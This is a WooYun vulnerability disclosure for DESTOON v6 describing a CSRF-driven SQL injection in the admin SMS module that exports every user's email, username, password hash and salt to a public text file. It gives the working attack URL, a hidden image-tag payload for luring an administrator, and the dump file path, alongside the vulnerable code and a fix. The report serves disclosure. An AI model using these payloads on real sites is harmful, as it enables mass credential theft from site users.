当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2015-143172

漏洞标题: destoon v6版csrf可导致全站账户密码泄漏

相关厂商: DESTOON

漏洞作者: xiao.k

提交时间: 2015-10-10 11:38

公开时间: 2016-01-11 15:34

漏洞类型: 敏感信息泄露

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-10: 厂商已经确认,细节仅向厂商公开
2015-10-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-12-04: 细节向核心白帽子及相关领域专家公开
2015-12-14: 细节向普通白帽子公开
2015-12-24: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

对客户端的请求不要太信任。

详细说明:

在程序设计上,destoon对于前台提交的数据过于信任,导致出现了一定的安全问题。

希望官方能重新看一下代码,因为这样的设计还有很多处。



## 利用



首先根据下方的地址,构造链接。把**.**.**.**换成你的目标。



code 区域
http://**.**.**.**/admin.php?moduleid=2&file=sendsms&action=make&make=1&tb=destoon_member&field=concat/**/(email,username,password,passsalt)&sql=1=1&num=1000&title=1234&submit=1







你可以把这个请求伪装成图片请求。然后通过站内信,引诱管理员访问此链接。



code 区域
<img src="http://**.**.**.**/admin.php?moduleid=2&file=sendsms&action=make&make=1&tb=destoon_member&field=concat/**/(email,username,password,passsalt)&sql=1=1&num=1000&title=1234&submit=1" height="1" width="1">





当管理员访问此链接以后,可以访问下方的链接,获取目标网站的邮箱、用户名、密码和salt。



code 区域
http://**.**.**.**/file/mobile/20150924_9250_1.txt





20150924是访问链接时的日期。



## 漏洞原理



问题代码在module/member/admin/sendsms.inc.php 33-63行

code 区域
case 'make':

if(isset($make)) {
$tb or $tb = $DT_PRE.'member';
$field or $field = 'mobile';
$sql or $sql = 'groupid>4';
$sql = stripslashes($page == 1 ? $sql : base64_decode($sql));
$num or $num = 1000;
$pagesize = $num;
$offset = ($page-1)*$pagesize;
if($page == 1) $random = $title ? $title : mt_rand(1000, 9999);
echo $sql;
$result = $db->query("SELECT $field FROM $tb WHERE $sql LIMIT $offset,$pagesize");
$mail = '';
echo "SELECT $field FROM $tb WHERE $sql LIMIT $offset,$pagesize";
while($r = $db->fetch_array($result)) {

if($r[$field]) $mail .= $r[$field]."\r\n";
}
if($mail) {
$filename = timetodate($DT_TIME, 'Ymd').'_'.$random.'_'.$page.'.txt';
file_put(DT_ROOT.'/file/mobile/'.$filename, trim($mail));
$page++;
msg('文件'.$filename.'获取成功。<br/>请稍候,程序将自动继续...', '?moduleid='.$moduleid.'&file='.$file.'&action='.$action.'&tb='.urlencode($tb).'&field='.urlencode($field).'&sql='.urlencode(base64_encode($sql)).'&num='.$num.'&page='.$page.'&random='.urlencode($random).'&make=1');
} else {
msg('列表获取成功', '?moduleid='.$moduleid.'&file='.$file.'&action=list');
}
} else {
include tpl('sendsms_make', $module);
}
break;





sql语句中的 $field 和 $tb 还有 $sql 都是从客户端请求的。在这里我们可以任意构造语句。



大家兴许还看到了

code 区域
if($page == 1) $random = $title ? $title : mt_rand(1000, 9999);





本来还有个随机数阻挡一下的,但是如果有title变量,随机数都省了。



ps:在实验的时候,官方不能识别concat函数。那么我们字段可以只设置password 然后在sql参数上写限制。例如userid=1.那就只导出第一个用户的密码。

漏洞证明:

本地实验的数据



文件列表.JPG



这个是本地获取到的数据

hash.JPG



这个是官方的hash

官方.JPG







修复方案:

把逻辑问题放到后端处理。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-10 12:20

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-10-15 16:37 | 生鲜一手 ( 路人 | Rank:30 漏洞数:5 | null)
    0

    围观

登录后才能发表评论,请先 登录